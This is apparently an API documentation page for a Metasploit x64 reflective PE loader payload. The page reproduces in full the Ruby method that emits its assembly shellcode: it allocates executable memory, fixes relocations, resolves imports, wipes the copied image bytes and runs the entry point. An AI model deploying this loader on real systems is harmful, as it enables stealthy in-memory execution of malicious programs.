Module: Msf::Payload::Windows::ReflectivePELoader_x64

Includes:
BlockApi_x64
Defined in:
lib/msf/core/payload/windows/x64/reflective_pe_loader_x64.rb

Instance Method Summary collapse

Methods included from BlockApi_x64

#asm_block_api

Instance Method Details

#asm_reflective_pe_loader_x64(opts) ⇒ Object


6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
# File 'lib/msf/core/payload/windows/x64/reflective_pe_loader_x64.rb', line 6

def asm_reflective_pe_loader_x64(opts)

  prologue = ''
  if opts[:is_dll] == true
    prologue = %(
  mov rcx,r13                     ; hinstDLL
  mov rdx,0x01                    ; fdwReason
  xor r8,r8                       ; lpReserved
  )
  end

  %^
stub:
  pop rsi                         ; Get the address of image to rsi
  call $+5                        ; Push the current RIP value to stack
  cld                             ; Clear direction flags
  sub [rsp],rsi                   ; Subtract the address of pre mapped PE image and get the image_size+8 to ST[0]
  mov rbp,rsp                     ; Copy current stack address to rbp
  and rbp,-0x1000                 ; Create a new shadow stack address
  mov eax,dword [rsi+0x3C]        ; Get the offset of "PE" to eax
  mov rbx,qword [rax+rsi+0x30]    ; Get the image base address to rbx
  mov r12d,dword [rax+rsi+0x28]   ; Get the address of entry point to r12
  mov r9d,0x40                    ; PAGE_EXECUTE_READ_WRITE
  mov r8d,0x00103000              ; MEM_COMMIT | MEM_TOP_DOWN | MEM_RESERVE
  mov rdx,[rsp]                   ; dwSize
  xor rcx,rcx                     ; lpAddress
  xchg rsp,rbp                    ; Swap shadow stack
  mov r10d,#{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
  call api_call                   ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
  xchg rsp,rbp                    ; Swap shadow stack
  mov rdi,rax                     ; Save the new base address to rdi
  xor rax,rax                     ; Zero out the RAX
  xor r8,r8                       ; Zero out the R8
  xor r13,r13                     ; Zero out the R13
  xor r14,r14                     ; Zero out the R14
  mov eax,dword [rsi+0x3C]        ; Offset to IMAGE_NT_HEADER ("PE")
  mov ecx,dword [rax+rsi+0xB4]    ; Base relocation table size
  mov eax,dword [rax+rsi+0xB0]    ; Base relocation table RVA
  add rax,rsi                     ; Base relocation table memory address
  add rcx,rax                     ; End of base relocation table
calc_delta:
  mov rdx,rdi                     ; Move the new base address to rdx
  sub rdx,rbx                     ; Delta value
  mov r13d,dword [rax]            ; Move the reloc RVA to R13D
  mov r14d,dword [rax+4]          ; Move the reloc table size to R14D
  add rax,0x08                    ; Move to the reloc descriptor
  jmp fix                         ; Start fixing
get_rva:
  cmp rcx,rax                     ; Check if the end of the reloc section
  jle reloc_fin                   ; If yes goto fin
  mov r13d,dword [rax]            ; Move the new reloc RVA
  mov r14d,dword [rax+4]          ; Move the new reloc table size
  add rax,0x08                    ; Move 8 bytes
fix:
  cmp r14w,0x08                   ; Check if the end of the reloc block
  jz get_rva                      ; If yes set the next block RVA
  mov r8w,word [rax]              ; Move the reloc desc to r8w
  cmp r8w, 0x00                   ; Check if it is a padding word
  je pass                         ; Pass padding bytes
  and r8w,0x0FFF                  ; Get the last 12 bits
  add r8d,r13d                    ; Add block RVA to desc value
  add r8,rsi                      ; Add the start address of the image
  add [r8],rdx                    ; Add the delta value to calculated absolute address
pass:
  sub r14d,0x02                   ; Decrease the index
  add rax,0x02                    ; Move to the next reloc desc.
  xor r8,r8                       ; Zero out r8
  jmp fix                         ; Loop
reloc_fin:                        ; All done !
  xor r14,r14                     ; Zero out r14
  xor r15,r15                     ; Zero out r15
  xor rcx,rcx                     ; Zero out rcx
  mov eax,dword [rsi+0x3C]        ; Offset to IMAGE_NT_HEADER ("PE")
  mov eax,dword [rax+rsi+0x90]    ; Import table RVA
  add rax,rsi                     ; Import table memory address (first image import descriptor)
  push rax                        ; Save import descriptor to stack
get_modules:
  cmp dword [rax],0               ; Check if the import names table RVA is NULL
  jz complete                     ; If yes building process is done
  mov ecx,dword [rax+0x0C]        ; Get RVA of dll name to eax
  add rcx,rsi                     ; Get the dll name address
  call LoadLibraryA               ; Load the library
  mov r13,rax                     ; Move the dll handle to R13
  mov rax,[rsp]                   ; Move the address of current _IMPORT_DESCRIPTOR to eax
  call get_procs                  ; Resolve all windows API function addresses
  add dword [rsp],0x14            ; Move to the next import descriptor
  mov rax,[rsp]                   ; Set the new import descriptor address to eax
  jmp get_modules                 ; Get other modules
get_procs:
  mov r14d,dword [rax+0x10]       ; Save the current import descriptor IAT RVA
  add r14,rsi                     ; Get the IAT memory address
  mov rax,[rax]                   ; Set the import names table RVA to eax
  add rax,rsi                     ; Get the current import descriptor's import names table address
  mov r15,rax                     ; Save &INT to R15
resolve:
  cmp dword [rax],0x00            ; Check if end of the import names table
  jz all_resolved                 ; If yes resolving process is done
  mov rax,[rax]                   ; Get the RVA of function hint to eax
  btr rax,63                      ; Check if the high order bit is set
  jnc name_resolve                ; If high order bit is not set resolve with INT entry
  shl rax,2                       ; Discard the high bit by shifting
  shr rax,2                       ; Shift back the original value
  call GetProcAddress             ; Get the API address with hint
  jmp insert_iat                  ; Insert the address of API tı IAT
name_resolve:
  add rax,rsi                     ; Set the address of function hint
  add rax,0x02                    ; Move to function name
  call GetProcAddress             ; Get the function address to eax
insert_iat:
  mov [r14],rax                   ; Insert the function address to IAT
  add r14,0x08                    ; Increase the IAT index
  add r15,0x08                    ; Increase the import names table index
  mov rax,r15                     ; Set the address of import names table address to eax
  jmp resolve                     ; Loop
all_resolved:
  mov qword [r14],0x00            ; Insert a NULL dword
  ret                             ; <-
LoadLibraryA:
  ;mov rcx,rax                     ; Move the address of library name string to RCX
  xchg rbp,rsp                     ; Swap shadow stack
  mov r10d,#{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
  call api_call                   ; LoadLibraryA(RCX)
  xchg rbp,rsp                    ; Swap shadow stack
  ret                             ; <-
GetProcAddress:
  xchg rbp,rsp                    ; Swap shadow stack
  mov rcx,r13                     ; Move the module handle to RCX as first parameter
  mov rdx,rax                     ; Move the address of function name string to RDX as second parameter
  mov r10d,#{Rex::Text.block_api_hash('kernel32.dll', 'GetProcAddress')}
  call api_call                   ; GetProcAddress(ebx,[esp+4])
  xchg rbp,rsp                    ; Swap shadow stack
  ret                             ; <-
complete:
  pop rax                         ; Clean out the stack
  pop rcx                         ; Pop the ImageSize into RCX
  push rdi                        ; Save ImageBase to stack
  mov r13,rdi                     ; Copy the new base value to r13
  add r13,r12                     ; Add the address of entry value to new base address
memcpy:
  mov al,[rsi]                    ; Move 1 byte of PE image to AL register
  mov [rdi],al                    ; Move 1 byte of PE image to image base
  mov byte [rsi],0x00             ; Overwrite copied byte (for less memory footprint)
  inc rsi                         ; Increase PE image index
  inc rdi                         ; Increase image base index
  loop memcpy                     ; Loop until zero
PE_start:
  pop r13                         ; Pop the image base to r13
  or rcx,-1                       ; hProcess
  xor rdx,rdx                     ; lpBaseAddress
  xor r8,r8                       ; hProcess
  xchg rbp,rsp                    ; Swap shadow stack
  mov r10d,#{Rex::Text.block_api_hash('kernel32.dll', 'FlushInstructionCache')}
  call api_call                   ; FlushInstructionCache(0xffffffff,NULL,NULL);
  #{prologue}
  add r13,r12                     ; Add the address of entry value to image base
  call r13                        ; Call the AOE
  and rsp,-0x10                   ; Align stack
  mov rcx,0x00                    ; dwExitCode
  mov r10d,#{'0x%.8x' % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
  call api_call                   ; Call exit funk based on exit_type
  #{asm_block_api}
  ^
end